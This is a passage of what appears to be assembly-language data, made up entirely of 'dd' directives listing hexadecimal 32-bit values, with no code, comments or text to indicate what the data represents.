0ED7BD041h, 2B011DBBh dd 905F8904h, 65DD391Ah, 4BB3A667h, 2F426FCh, 0BD29D3CFh dd 490E3459h, 0CF5B7964h, 0CD255168h, 3701C0A6h, 0F3F88656h dd 817B481Dh, 0A309D317h, 7061FB6Ch, 24B089D9h, 0FFF71A4Ah dd 40711350h, 0BF0F9016h, 297F7048h, 531A2F50h, 6180A19Bh dd 7C5033E9h, 32B62A26h, 52885806h, 0AB92070h, 6BBB5F4Eh dd 1CB4716h, 952957DFh, 9B3D1F05h, 0BF264D17h, 0D97A5729h dd 239B425Bh, 9122375Dh, 0AC3B8219h, 165A54B1h, 0C307A6Ah dd 0C010F976h, 0E21C48E5h, 0F0A70ECDh, 0CA02C6Dh, 45B730D9h dd 4C1C1198h, 2EF91053h, 95F0B030h, 0E68018D5h, 7A91B770h dd 47E5E46Bh, 39A9405h, 0D7049685h, 0E2FBE6AAh, 0B4F11CC0h dd 0A2ACB600h, 0E628FF18h, 0E4010465h, 0BDD88A71h, 31DC31B0h dd 0D52A9D33h, 46B4AB69h, 6330476Dh, 1541A8h, 0EB81C1D7h dd 44E6F7E8h, 18778997h, 14DB19h, 3EA10E7Ch, 0A8EE9A81h dd 82D0B34Bh, 840F25BDh, 0E8407394h, 0F90882h, 0D2E04AE2h dd 8E19A5D1h, 9B5B8A00h, 5DA7B1F3h, 0A88B7DB3h, 0DDC236h dd 6EFD72F1h, 221DBF5Bh, 6CE9101Ch, 974EB029h, 334C520Eh dd 8AB35D00h, 97BD3152h, 0DD256E7Ch, 0D2F30890h, 29BBCD4Eh dd 0F9C80857h, 0F939E927h, 72C6A505h, 0C9554F98h, 59E83AE4h dd 16CDF2A7h, 89286557h, 308FAB7h, 0BD093B54h, 0F45E172Dh dd 80CAE350h, 0BBB3F88Bh, 47699F80h, 4BA9EB68h, 0B94FCCBCh dd 3AE8B65Dh, 7CD6E4BBh, 0E64E22BCh, 7EEEE057h, 201A90A8h dd 0FC4E3439h, 7200136Eh, 75743C53h, 0F604FC5Bh, 8D095CEFh dd 3E341EAh, 0EAD9Dh, 748AC02Bh, 0BFD202FDh, 38F874DCh dd 73DAD45Ch, 888A518Bh, 2A0FE5D6h, 0F6164A94h, 855E7EACh dd 9796C38Ch, 1A557E32h, 7E6075E4h, 769703D8h, 1389C2A8h dd 53503B1Dh, 75FC1Bh, 0F40DC726h, 0AE749F17h, 85454B03h dd 0B180D6B8h, 6721F387h, 62A4F420h, 2F3DD25Bh, 0FD09320Ah dd 71795E11h, 80F72E96h, 4E5C17B2h, 1B46D4h, 0D59DB01h dd 482869C6h, 5A788352h, 0B4EEEC08h, 0CEC004DAh, 0A1A659E2h dd 0E1FFE613h, 0F6B820FDh, 3D6FB401h, 0FD7BE89Eh, 0E056282Eh dd 0C1BA76B5h, 0C0083381h, 0AA03EABAh, 36D5CA83h, 1651DA18h dd 7604DB27h, 4D00F463h, 0D635A07Bh, 0A8BCB8BBh, 7B370643h dd 2482B8C5h, 765E14h, 8F72FB69h, 0FD27B501h, 71AF741Dh dd 1CC80F5Ch, 858D4C0h, 12C8EC8Fh, 4E1714Ch, 4171149h dd 0F3F4810Fh, 50C1B750h, 34843E5Fh, 753213CDh, 0AD99E000h dd 0E27565C4h, 7FD26E01h, 5B53DF15h, 92D4D56Bh, 115D099Bh dd 0F82AF828h, 29AA5B9h, 837ED2DDh, 0AE843DEAh, 5F603A72h dd 267387B3h, 0E93B769Fh, 0D3911A00h, 125B8B0Fh, 2102B6E7h dd 15C0EFEAh, 0B511D0D7h, 8902026h, 9F20504Fh, 71A15F59h dd 0D4E1005Dh, 0B56EAFE7h, 45028B06h, 0D8D781C5h, 7ACD7F90h dd 5496EDC2h, 0E229647Eh, 85011241h, 6A9482ABh, 2DE6FFEh dd 398068CAh, 1A57B34Bh, 9E0F88Ch, 4CD3CA7Fh, 4FB9E4B7h dd 0E6F1C4C7h, 0DA2AFB8Bh, 0C917C893h, 9E595855h, 0AA94095h dd 0F524924Dh, 45080AFAh, 4B9240Bh, 0BA3591BDh, 0CDFB0575h dd 2826095h, 0F24C9Dh, 0A53FD16Ch, 4B10A967h, 0ECF8775Eh dd 4BDF00AAh, 1BE75084h, 17EA17B9h, 49450405h, 0A74BA15h dd 0A168Ch, 557036FDh, 0E758C953h, 4D789304h, 0E6BBEA08h dd 9016A224h, 0AC22F4Ah, 758D013Ch, 0FA8B8B93h, 0A7D3B55Dh dd 3B0648CCh, 59062301h, 80D176E2h, 0C41E6EBFh, 56FF41CCh dd 0DDDCB059h, 0FC509F3Bh, 0CDA3B395h, 2D45A1EBh, 5BB8DBh dd 333754FBh, 30AC0C66h, 40FA9095h, 2B120ED0h, 4660EC3Ch dd 29A9E1B8h, 0C5758524h, 0E4095B8Eh, 0CFB91ECDh, 0F83A44Bh dd 6FF2314Ah, 0F6493804h, 8A82AE92h, 0FA5BE050h, 946774B6h dd 0D2E42C7h, 0C31CD457h, 6C859ADh, 97F0349Dh, 0C211FF25h dd 0DA6EFBDEh, 8B7DFC57h, 0F4021CFBh, 1C5D24E9h, 23BF060Dh dd 0B85FE52Bh, 0C31BDF78h, 0D0598B60h, 0F8FE58BBh, 0E0BD902Bh dd 89DD378Ah, 0BD65DF1Fh, 5BE7BB05h, 0D3B5311Dh, 0B7DD2026h dd 0FD4E8AFBh, 0AB5C2DFCh, 69AF1880h, 59259777h, 0E4ACC7C1h dd 0EA38601Bh, 8E0A0EA0h, 0F8F90EF5h, 89ED3A09h, 998D31C3h dd 4C06B54Ah, 7E7CAA1Eh, 5006B59Dh, 0DB091A53h, 5E5F115Ch dd 20CD7AA5h, 0A6FDFA60h, 22DD1E0Dh, 96D6650h, 1F481191h dd 1C971F75h, 0E14970ACh, 0B867B92Bh, 223A3AE6h, 0C9BD038Ah dd 0E17AB98Ah, 0A09AF72Fh, 4BE78027h, 0E9EA8E8Ah, 96809A2Ah dd 45392404h, 2B58F1AEh, 8B9CBD28h, 0DCFA2029h, 57048C62h dd 0B340FCEFh, 5E21DFFh, 0DA7AC146h, 0F1738180h, 89990516h dd 1A192541h, 0A0F1BC2Ah, 9DBE6AF3h, 0BB02FF7Bh, 0FF53E7A5h dd 920B784h, 8502715Bh, 0AB87C780h, 0C7F034E7h, 7A263DF3h dd 7C65992Eh, 0ECDBD5FAh, 37858084h, 48A2FFAh, 0E4C9C722h dd 36BDAA55h, 0D2B6B260h, 5158505Bh, 52C4C0EBh, 5E7481Fh dd 0C8D7B183h, 139EAF5Bh, 3FE4B4D7h, 0C8B70C00h, 9D23A4DEh dd 0AE2A52C9h, 99643092h, 2E393D3Fh, 5D292F83h, 1915F035h dd 7ECE899Ah, 52F54586h, 0BEDEFACBh, 0C21B7A80h, 0C79AB3F0h dd 4EE2D058h, 612109EAh, 0BB1ED573h, 0E381C900h, 979A1443h dd 0B5EB0D7Eh, 58E80079h, 21419D0Bh, 0D39AEE9Dh, 9384AA18h dd 6E4AB9ACh, 38D90E86h, 0B55E60C8h, 19A6A076h, 25018F0Fh dd 0B9122EF8h, 0FAB8ABADh, 0A8F7EB4Ah, 0AC9CE95Fh, 63FE1C6Dh dd 0CCC62532h, 0E2EDF95Ah, 0A216E6A4h, 84F9F110h, 0EBD98B50h dd 22CF90DEh, 1EA9CE0h, 6EE1B59Dh, 9ABF8F8h, 516487E6h dd 37DC01B7h, 0ECAB9C4Bh, 4D00EF2Dh, 750B8DA5h, 131620A8h dd 0B3177682h, 0E5B33870h, 0E1FE85BCh, 70F23AB4h, 0E60235A8h dd 69CA5FDCh, 51BB5C84h, 95881673h, 2340BF79h, 7E0AF0h dd 32062AACh, 4A046F85h, 4557F209h, 77C2FDA9h, 0EEE0A54Dh dd 1158F508h, 309E943h, 5456D56Ah, 941A90A0h, 820F146Fh dd 89255320h, 5F193ADDh, 7AE6E2A1h, 753AD8B9h, 197E4105h dd 0FBC0EDB1h, 58B5EA67h, 0EBA0255Fh, 997E9CAh, 480D71CDh dd 350D08C5h, 45DF8100h, 9D700A7Ah, 56C9677Ch, 274AD42Eh dd 6E8C76EAh, 38BFFD4Bh, 0C2E19E05h, 73885BFFh, 9D33D2F8h dd 742A4927h, 1D5C5A58h, 173800D4h, 4E708943h, 0BF4E6664h dd 5D7888h, 9EB927F4h, 39A8440Ch, 0C8F5F800h, 695EE56Ch dd 87789FD0h, 9B81F2BEh dd 23BDF35h, 2783B23Bh, 40A86FC6h, 0FC86FE46h, 50F27325h dd 670B9597h, 45A36F57h, 77A86214h, 1D0BD7A4h, 0E95B584h dd 0F1E1121Eh, 0B874394Dh, 4572907Bh, 80637810h, 3D560CB0h dd 0F2710F3Fh, 0FF224F2Ch, 21F1C18Bh, 0CAC99F12h, 1F25FAEEh dd 38595FD6h, 0E9E10156h, 0D2757433h, 0B63F3903h, 0E084F61Ah dd 0D7A94Fh, 20A2F25Eh, 6E0E238Dh, 0E0F2C750h, 862F4D00h dd 0F479FB2Ah, 0C5B70058h, 0C6E8C28h, 0A20FFC61h, 1E65AFEFh dd 512B07FCh, 131CCAC7h, 90581D4Ah, 0D2A00732h, 5CC410DFh dd 74003130h, 9549087Ch, 99F86h, 0A2FAB7Bh, 0BB51C372h dd 9601B977h, 0C62B441Eh, 0CBCD5009h, 0E5BF2C4h, 935F4530h dd 8D854140h, 0AD7A370Fh, 23BD38C0h, 0C3F32E6Eh, 0CDBCE628h dd 4703378Eh, 6977CF5Dh, 0C01F9ADFh, 0E34E43FDh, 0C33F2F80h dd 1A534A79h, 0F2AFE700h, 58E13AECh, 0C45A00E5h, 0D6A4486Ch dd 0A970430Eh, 447536F2h, 90E80F01h, 0DC9CB31Dh, 5DB4C0h dd 0EC1007DFh, 4749B4Dh, 2DCF6900h, 23ABD165h, 0D96F0009h dd 0FD98B64Fh, 0FF01E3ADh, 0FCA5F931h, 92403DE1h, 1FB554B8h dd 84679C64h, 0C962DA84h, 0AA8109Bh, 441C981Ah, 0C55B4B3Eh dd 4EDF9936h, 2AC831E0h, 18AD8A79h, 2064B8FAh, 0B2605BBDh dd 54C5C2B6h, 0EFE35Dh, 58EDB71Ah, 0CF2BFE7Bh, 0E404FC1Fh dd 9062844Bh, 4A4057h, 7E08D4A6h, 993DBFD6h, 2F0B8900h dd 0C915678Bh, 1795008Dh, 481482CFh, 1D3AD5A7h, 789C80F1h dd 2BC17302h, 1EA43C49h, 4439DC03h, 4DF06CEFh, 0C700551Ah dd 298D657Fh, 31AC7004h, 9444A12h, 2E75E87Ch, 0E3245F00h dd 1D31E54Dh, 0B4380169h, 63235E68h, 0ADC68007h, 73D361F7h dd 0A62E00B8h, 8D17EF91h, 900039A5h, 3ABBC154h, 27C9Eh dd 0FE809622h, 0E38AB626h, 97BE3614h, 0EB7300B6h, 0D8EA3ABAh dd 48DD2A10h, 92E56081h, 992F49E3h, 0E709450Eh, 0E80CE195h dd 0BB80B541h, 83F91CB8h, 0B30146F2h, 0D16B75C9h, 7F25E0A0h dd 78672C4h, 0BC800212h, 0B859000Ch, 0B8A0DA38h, 0ED8B3BB6h dd 0AA4D8020h, 977200D2h, 528DC7Dh, 4452FE77h, 3E9912C8h dd 811D0040h, 0C0FABAF7h, 0A0881A6Dh, 59009D3Ch, 1B3312CCh dd 0C57A5C5h, 5FD8289Bh, 0F2A416F0h, 0A44AAC00h, 0EE36B4ECh dd 0E1A131D0h, 4071334Bh, 37C5F1BEh, 0DDF94500h, 981C7539h dd 7AAAA10Ah, 1413CC0h, 0D34CAE4Fh, 24D80CADh, 91013D92h dd 5B25CA80h, 894E79C5h, 0DF48EB00h, 0ADD9544Dh, 5937B507h dd 3DA0FB4Bh, 6B243h, 0CBBA8AF4h, 2873AEC9h, 16968F04h dd 48C082CEh, 157B30h, 0FD178674h, 0FF039A5Ch, 55FEFC00h dd 0A3DD7398h, 0B3410043h, 0BFB95347h, 70039A36h, 46E87406h dd 1EDA9834h, 64F600C2h, 6B8ECA1Ah, 6A501227h, 0AA004CB3h dd 0F51B0CD0h, 27C9054h, 971368FEh, 0A98029CFh, 0F812D677h dd 52F77E01h, 8C1A2272h, 0B05733C5h, 1D587DF9h, 99ADEC18h dd 4B3F65E4h, 3993EAE7h, 0D6DA0E9Ah, 1F126FCBh, 0A6344E4Fh dd 4288148Ch, 0A749A0Ch, 509BCE2Eh, 0A8BF8Ah, 82C65440h dd 1898096Fh, 0F848AC60h, 618614AAh, 77A98BEh, 891B8087h dd 0E2B9851Bh, 0C9FB13A2h, 2EDE0023h, 5366FDD1h, 0B5478B03h dd 75BCFCh, 0E24E5430h, 2F5AAA1Fh, 0A70ED8D6h, 20822C4Ch dd 12DE3DC4h, 0EB97904Bh, 0D797BAB3h, 9C6D7A90h, 1543C48h dd 76CED4B0h, 11800F8Fh, 0C3FDE06h, 0DA126CFBh, 684207A7h dd 4075AD09h, 607BCCEAh, 15AF5D8Fh, 25C11C9Ch, 4042AEF4h dd 40F1AE4Ch, 0E31EC193h, 0DC80B703h, 0EA592EBCh, 0E2C5EAB2h dd 4FB6C93Ch, 0F0313C87h, 0A478FA10h, 0ED831A00h, 0C90DE845h dd 2CDD0C15h, 6B2EB18Fh, 65B93B13h, 0C65D3D20h, 57D3001Dh dd 2A4A4142h, 6037783h, 0F18B6B12h, 0BAD8380h, 4AC8D83Ah dd 16248820h, 9614C964h, 0CA0C9Bh, 30664D35h, 55A9FBh dd 5DA1D379h, 479FDD71h, 28330B4Dh, 0FF26D5C2h, 0F5251904h dd 75C718C0h, 2877ED01h, 0FE44E9BBh, 125A844Ch, 384F64h dd 6115D427h, 54039450h, 5C66BE3Ch, 0E8E4F0CEh, 0DB042h dd 0A77FF913h, 35D28C19h, 5EDFDB00h, 93E90DC9h, 51B0B3h dd 98F74208h, 4F178732h, 0C1F2574Ch, 989F87Eh, 0BE8B6CDh dd 920F1899h, 0A0021112h, 310063ECh, 0FB85591Bh, 0F2C3BD53h dd 6C2C3265h, 0AA40A427h, 0FC091480h, 8471A67Eh, 45C17A27h dd 98E062BCh, 2CE4F095h, 80DFDD49h, 0C61DB75Fh, 0A01D14DCh dd 0A30BE88Ah, 4046760Ch, 2C823BD2h, 37178B02h, 5FFBC921h dd 0E5DD456h, 1C104D41h, 0E5C4242Ch, 0ED32C581h, 680CD00Fh dd 142F7A71h, 550FE0F3h, 0B1C11CFh, 44060050h, 835E10h dd 613501E8h, 53E396Ch, 0C5374200h, 58C289A7h, 33EC5181h dd 54C624E5h, 0A0A20A6h, 4825685Bh, 0A921B037h, 7C0FB477h dd 4E08438Fh, 120A746Bh, 0E2FA1C8Bh, 0C838C24h, 5C1EC387h dd 5AA234FFh, 41085C5Fh, 2016FAE9h, 0B809F051h, 7DEE6441h dd 9E00EF5Ah, 0E12918ABh, 4308B2h, 0DE3EBD7h, 5049E6B8h dd 300079FCh, 3454D53Bh, 3DE47C69h, 0F852D3h, 0B9BD4B77h dd 9ACA1978h, 0CF477507h, 1CF0E098h, 14F845Ah, 614B919Ch dd 0D03F078Ah, 682D26B1h, 38D0462Eh, 90CF9D03h, 50FD8AB0h dd 70806BE9h, 5F49561Fh, 0E85AE96Ch, 6A5F073Ch, 19359D89h dd 8014CC6Bh, 0F8666D7h, 69D567BFh, 56F5F4Ah, 0E5EB5144h dd 0B0EC2E04h, 8F19DC7h, 22BF500Eh, 7F533739h, 0F94B085Ah dd 92C39EEAh, 94E01ABh, 45200D85h, 380EFA70h, 293FF049h dd 8E0BFFCEh, 0F4CFDD61h, 9BB0DE0h, 5FD7382Eh, 0E1C85793h dd 0A8A3A52h, 22758962h, 2F948608h, 12D13144h, 0E82F2B41h dd 77B0B2A8h, 0F78E73BDh, 0E45800F6h, 27FDBDAAh, 80D59A9Fh dd 8D890270h, 0B5B3D261h, 0CAC57EEAh, 0D48078BCh, 0C5AB4B84h dd 48B85B5Ah, 0D0254EB6h, 0A3E4D761h, 301CC300h, 9F6096B0h dd 22FC00C7h, 77203B9h, 0FD2DA4C2h, 0DD44A0h, 0D496FC7Bh dd 772EE9B2h, 23E64202h, 799CAA3Dh, 0AF6600DEh, 61BC75B7h dd 1EADBB04h, 6BFB5B5Fh, 152360h, 0D98AD623h, 0DE9DCEE9h dd 66E158DEh, 0D33DB5h, 0A8484A5Ah, 7409651Dh, 0D6F853FCh dd 3366CB25h, 9F033522h, 315CCF5Ah, 0DC122786h, 8B5D524Ah dd 74C5DDC4h, 0E1530B1Fh, 5A9D0CA4h, 0BBF91201h, 1D8AC2DAh dd 84FC4067h, 0DF029D33h, 0B6DB48D3h, 8D298E5h, 9FEE019Bh dd 0A7CBA145h, 80C43C47h, 9C5B5588h, 0BB02019Bh, 6A45C334h dd 61D2AFFh, 0F1AAB512h, 0D357E20Dh, 1D3411B3h, 0DC67BD89h dd 8B794B61h, 0FECB8180h, 317BF147h, 65F870E6h, 73B83F31h dd 5FC8E78Eh, 2F570946h, 0BBDEE0B3h, 11DD36B1h, 50BA5B01h dd 7541DF2Fh, 8B4C510Ch, 2DEF4EC1h, 3F43AEE7h, 1A3E0E78h dd 0AC20CFEBh, 8728E4h, 0FAAEB506h, 25439360h, 334505B5h dd 0B29D208h, 477C82Bh, 8B051DB4h, 5F6F2D1h, 1A2960B0h dd 2B3E4C80h, 1E350778h, 0E9A9C742h, 7ED98957h, 0C1FE49DEh dd 56142540h, 1CE600F5h, 0BEB1F805h, 0C81F06E0h, 0C5C54FC7h dd 2CBA840Fh, 0F4B75B08h, 541240C8h, 1B56FCCh, 4947555Fh dd 8D38040h, 0E72978Eh, 77C612C1h, 14B861D1h, 145B8C5Ah dd 5E79A4A6h, 787D5B24h, 72FA6915h, 80234261h, 356A7BEBh dd 29E3AE66h, 44742E28h, 9E7BCB07h, 82614A9Dh, 0D45BDBA6h dd 90AECC6Ch, 114A1E4h dd 40649589h, 71B78DF8h, 0DA996293h, 0D4B05612h, 624F1B7h dd 687126F7h, 0D50B2D25h, 0DC805F3Dh, 0EC218E7Eh, 0CE9097DEh dd 2600E97Ah, 3A57B103h, 5E23ABB9h, 5F81CC70h, 1629DCF3h dd 0DC15F4B7h, 0BBCDB195h, 5B81660h, 0F49E7133h, 0F8C8AA09h dd 0B05BB9h, 0A3B3BB31h, 0F6975C1Bh, 2FFB9D01h, 7770FB53h dd 0DFE700C4h, 5BD3C0BDh, 36EB2B62h, 7F9BF0CAh, 0B85804A4h dd 84C247B3h, 92371D51h, 0D79CBF8Dh, 0C9A7002Dh, 0ACDBAE84h dd 9800CD51h, 27E80A02h, 0B57CD2ADh, 847308ABh, 0B656778h dd 99F06836h, 5902BB64h, 0ACC1C05Bh, 37CD5D97h, 0BDA9DD2Fh dd 442D22F6h, 0EF2EB011h, 7823292Bh, 0D3F980C3h, 4CF8C5A2h dd 66007AF1h, 0BFFE91A4h, 685AE386h, 813830EFh, 775AD7C7h dd 0D7DF16CAh, 0F08FBBDFh, 0EFD61B4Ch, 0B80F9A71h, 807B9F3Eh dd 0D787DFB1h, 80100DCEh, 0E8BA6CCBh, 4C9D27B6h, 83134439h dd 0D3F7EE17h, 36E70AEh, 0B9008BBAh, 0FF3E627Ah, 7CE7BFE1h dd 8A1A5ACDh, 0A9ED34B8h, 8F84B2FEh, 7AEBD2FAh, 0C7620171h dd 4F6B8C89h, 968B286Ah, 0E8E07DE9h, 68FA59E7h, 60A24E09h dd 8FC0354Dh, 50F31470h, 2FC5BAD8h, 0D05AD21Eh, 2F3797h dd 0AA30D6E8h, 0AF007771h, 314C873Eh, 0BF071195h, 0CD27AB7Bh dd 0A91B45CBh, 90222C4h, 1249B509h, 9F604E5Fh, 6DDF9889h dd 5712E01Ah, 5C25D7E5h, 0DC8E1F8h, 0DA98F510h, 66FE2600h dd 0CF555421h, 0A7AC2FF1h, 0F391B65Ah, 74238F80h, 5E64E02h dd 0AC148B27h, 368FCF8h, 86443ABBh, 68A2005Bh, 0C7CA10B2h dd 13131BBFh, 0AF80538Eh, 4A54F34Dh, 0E0AEF638h, 0E2CDC4D5h dd 2C2E093Ch, 3785FDEBh, 7565C1FEh, 0A7A93F0Bh, 1FCA05D6h dd 0AB6EC4EFh, 82E04BA7h, 1F0069C7h, 8F8BE019h, 5A5FFC53h dd 9C26A829h, 5301C289h, 6ADDD1BCh, 57D47234h, 0BD9560BEh dd 25851A71h, 0E7C0D34Dh, 360734Ah, 0DE4ECA92h, 62218152h dd 90F527FDh, 1D9B767h, 0B2BF0689h, 2F306374h, 1AA8DFBDh dd 0A110C2E1h, 602E0008h, 0BF3A0E87h, 0B265AACh, 0F1020513h dd 0D42654E5h, 8B600128h, 1008E9D9h, 3DD39B7h, 1F48A7B6h dd 0BA10612Eh, 0F35B353Dh, 7F3B128Ch, 0ACA420E9h, 43B313F0h dd 0DE2AE4F1h, 4B47C09Ah, 2E72D8Ch, 0A14473EEh, 0E27EFE8Bh dd 18AF6651h, 0C1808271h, 8F60FEAh, 0AB954BEDh, 0DE8BC181h dd 2CDBA27Fh, 10376753h, 0B2A26004h, 70AFA900h, 2D09A8F4h dd 0D2AB824Ah, 5970546Ch, 5861601Ch, 0B327A3A7h, 98ABC40Bh dd 990BC7A6h, 0D069518Eh, 12949FC8h, 658B54BDh, 8044BC90h dd 196BF660h, 0ECAB0164h, 741D31A8h, 0ADE86A54h, 6501BF80h dd 5B3B78C8h, 20088250h, 779003E7h, 15160D37h, 8E641840h dd 93FEBF0Fh, 2DC12EFCh, 2DE5CD4h, 73EB5A94h, 677D10B3h dd 0AFBB05F0h, 989AFBCBh, 6D16013Eh, 0B914A412h, 44E20E41h dd 1ADE9DC1h, 0AE07E975h, 1A2B1835h, 0F31F502Fh, 31EE0C06h dd 399B47BDh, 0D2D30427h, 0A52671D0h, 3E588B5h, 7CB5AFA2h dd 0CA81552Bh, 339D7F8Ah, 3CCC17Ah, 0C4303FF9h, 276D3DBFh dd 0F2C63B8Ch, 25B29183h, 924C4E5Dh, 0ADFDE5E0h, 0FAC0157Fh dd 0FED92880h, 0B03A2D37h, 0F372090Dh, 0BF87F87Eh, 778637Bh dd 0B3B001D3h, 9D3329DFh, 4ABC2865h, 0A3A8A5F2h, 0DD06100h dd 0A84F34D7h, 0BF66381Ah, 0AA899592h, 9AFAABD4h, 0CAECD5C6h dd 5099882h, 0C0BBF532h, 0C4B1877h, 0DBC255F2h, 7B77A611h dd 0E14E5288h, 7493B00h, 0A640EC23h, 0E3174EAAh, 13FB5045h dd 982C1B25h, 2F9D0364h, 8EDC24FDh, 0B0B09DD4h, 5B31ED1Eh dd 23A1E8F5h, 663AD92Fh, 0CABBB496h, 0EDF52714h, 601C6489h dd 1227D90h, 15980630h, 21036502h, 801024CEh, 0E660C327h dd 0A7FC5B95h, 30BEA0D2h, 0A7994E42h, 7BD8259Ah, 181A5991h dd 12D601BAh, 89CB83E1h, 5A33B96h, 263C0500h, 65D40F38h dd 47BF4500h, 92BB93EEh, 686A2502h, 0DF71857Dh, 0E1FBA6EFh dd 237B59ACh, 64CA0531h, 0BE8BCE80h, 7805C61Ah, 0C92D4686h dd 7FD86682h, 0A5F823D3h, 0EBAB02A1h, 0ACA3B982h, 4FB0F87Fh dd 20C3CD37h, 0DE9D2566h, 37447295h, 92EAF54Bh, 0EC7DDA43h dd 166067F7h, 125DA9C2h, 96AFD7Eh, 8B61BDF5h, 0D9C46E57h dd 48819C00h, 6CD383A9h, 125F9546h, 11DF1DFh, 0A4F8D291h dd 0D0C22A73h, 5F5B0208h, 1C6C8A7Eh, 91E29D41h, 50D3E57Dh dd 0FB00B422h, 6E1F889Fh, 0AAEBFE25h, 0F653FF94h, 4B2526F8h dd 0E3CDABA6h, 9FDE7F60h, 4544A994h, 81B51701h, 16A0A210h dd 6BEA366Dh, 461529E9h, 0E31A9018h, 529C1798h, 0D8741C65h dd 0BCBF6926h, 98C66C2Eh, 7EBA3C42h, 4ABF5850h, 1E15BC2Eh dd 0FFF43607h, 6E4419h, 0E2F58A48h, 367380EEh, 944ADE00h dd 791C9A1Fh, 49CC5C1Dh, 198AFB4Ah, 3E71E14Bh, 0EF93B5DBh dd 0E13A6640h, 220231Bh, 595DBBFBh, 10557D13h, 11C974Fh dd 848A2104h, 8E0212B1h, 295FEFEAh, 7D5A5509h, 31C7813Ch dd 8D293465h, 0BAFA902Eh, 7982190Fh, 0BEB300B7h, 0E09FA3F2h dd 0E85278B5h, 832C1D09h, 0D6F1873Ah, 855E251Eh, 61DB868Dh dd 5000ABE6h, 2DBB19B7h, 0F656FB61h, 7C260EC1h, 0F6C11BBAh dd 416FDE0Ah, 88520FEBh, 306140h, 0B3EF815Eh, 4D5B0390h dd 0A1219AB0h, 19A7AF5Dh, 8A1D09E1h, 0BB01EA19h, 5B2C8B4Fh dd 91B582ADh, 71FF12BDh, 0BCFE80B4h, 0E95EDA20h, 0F7ADA3BCh dd 67F8B680h, 609544C2h, 3998102Ch, 4D92CEEFh, 0F3A00228h dd 0A7F073E9h, 0A915390Fh, 53007DB6h, 0D01BE089h, 837200A7h dd 362662D2h, 0C400302Bh, 0A52D877Ch, 1DA0B0C2h, 0ED6A20Eh dd 720CA53h, 4502E9Eh, 0ABC67F0Ch, 0C0CE081Ch, 9E0FE921h dd 6000137h, 0A1940D60h, 0C0DA815Ch, 0A32ACAC0h, 101413Dh dd 0F8FCC4D9h, 6CE05AB9h, 467E85h, 89C611D2h, 0A4DC9B8Eh dd 0AA20C963h, 1960068Ah, 28626554h, 0B09820C8h, 2B205359h dd 0C6BB1318h, 182EA11h, 97430B9Fh, 984B5F7Ch, 0A21F609h dd 309F129Bh, 52C500FDh, 0B84BE494h, 0E032C23Fh, 88E12AD0h dd 7FC0009Bh, 616D6A75h, 0F93D7DA0h, 0D04780C5h, 33FE98D5h dd 0C868D95Bh, 0CC23076Fh, 98A16444h, 9F806011h, 87432309h dd 800F311h, 7E19F99h, 72003655h, 0A0E3DDFAh, 15A22B21h dd 9CDF18CCh, 0AFB76B00h, 0F8D1EE27h, 0BE7A540Eh, 0FA568060h dd 3B3F21h, 6E85406Fh, 1963E2E5h, 386420E9h, 0F2174D00h dd 87B6A182h, 1309CC9Bh, 55005821h, 8A898017h, 3CC127Eh dd 36BF211Ah, 5087ABFAh, 560AA3Ah, 0F25E5300h, 0A8491EC4h dd 4E9C00E3h, 0CCE51BEBh, 0FD72578Bh, 0B2F018E8h, 0D0D8EC2Ch dd 0E1241E00h, 0E827C7D5h, 0E921C1B8h, 0FC7CD8F4h, 16198311h dd 6B50D9B5h, 4DE43761h, 0A1186085h, 0B5D12E01h, 575320C2h dd 0F9E82C73h, 1746048Ch, 627982EFh, 4E47201Fh, 0B9003817h dd 40FF21E4h, 787A5693h, 7391932h, 0D763F026h, 6D1E3100h dd 1AF8EA4Ch, 1F5B3039h, 0E561ED20h, 0B37530Ch, 818899h dd 0C4964F25h, 0A875A4D0h, 8745313Bh, 6A03ED47h, 3AEE59A0h dd 252F0014h, 0B42CA6CCh, 0FB03A323h, 663EAB13h, 2A5EC07Eh dd 0FFA83CB6h, 0EBF11500h, 22D0DA3Ah, 1DE98600h, 3C298EBBh dd 23DC0039h, 0E8715A0Eh, 0D300FECCh, 5D059991h, 1F31E23Fh dd 0C07587A7h, 959CCEBAh, 0C301302Fh, 0DB376B3Eh, 0A6F87BC8h dd 1DF000A0h, 94056167h dd 1C0082C9h, 8EDB211Bh, 3C6A39DFh, 87001E0Ch, 30634D47h dd 0A604361Fh, 18FFD661h, 0BF248C0h, 70DCC70Dh, 0C7D4909Bh dd 9C042ECCh, 0AE88751h, 7E5411C0h, 15E21CAAh, 700940F9h dd 34C964CFh, 0FF04A700h, 0E90CFBD6h, 0E5C800DEh, 219C91DBh dd 130080AAh, 235412C3h, 640D9Bh, 0C84E2992h, 191A2A4Bh dd 6D64403h, 80CE7C61h, 3C897E67h, 28004303h, 1DB5A2F4h dd 0FE003F58h, 9B1B6ECFh, 0F0E7804Ah, 88300E5Bh, 0EF434D27h dd 0BEF1520Ch, 0F8F12014h, 72AD7A1Fh, 772D2EC0h, 3D166CDh dd 0D6BF12A3h, 0E6C822E9h, 9D00FAF2h, 0A7D26EE3h, 0DB2C2Eh dd 0DA1E47F7h, 0F152DD4Ah, 5387A8A0h, 15C21201h, 2768B4C7h dd 0D95FF4h, 0F07663FCh, 92DF9A96h, 4F9B71Dh, 0B1AA5907h dd 0DAF41380h, 7F37034Eh, 1FA9DD4Bh, 55905100h, 991453BCh dd 2AC7070Ch, 0A3931531h, 94F8C497h, 49138806h, 4F0035B8h dd 0BDB93358h, 537F03BCh, 36990EFh, 0C872A191h, 0D639ACC3h dd 0D7398504h, 0D830F9BDh, 2EB0199Eh, 24D306DFh, 1AB5002Bh dd 0C2C8F545h, 0FF0BC4A0h, 69763Eh, 282E85CDh, 5B5504h dd 4BA07739h, 0BF415264h, 47EFE900h, 48A6FB54h, 0E1AA0046h dd 0A435F812h, 0BB00DEF9h, 31D4C7C8h, 18EB1Eh, 62D3263Eh dd 5D5538B4h, 0C4233B00h, 4D9BCBBh, 83D43EB1h, 7F59DB80h dd 3301764h, 5EA6F200h, 76571C87h, 0CB10049h, 662CFB1Dh dd 35EC08DEh, 6200D372h, 931A70Bh, 0F3B690Ah, 41731CE7h dd 5DED5221h, 0A119C457h, 0DFEBCA00h, 5C228133h, 0A4772E04h dd 0E93D0124h, 4735E065h, 402104F4h, 5EBF5505h, 88563B17h dd 75E0EE00h, 6E1E347Bh, 9DE0D4E2h, 9162180Ch, 0E99804h dd 0DFF3024Ah, 0EF3A3077h, 50216801h, 0A3D9D813h, 1A62C20h dd 8DBAAD69h, 801C6095h, 0D48A0238h, 0CFE9FE8h, 203DE0B6h dd 0E1001BF8h, 2B2580CCh, 2EBB29h, 3E7E468Eh, 0D00D36ADh dd 2D510E07h, 248566C3h, 4ED82580h, 0B4EA0F74h, 0FD2041E1h 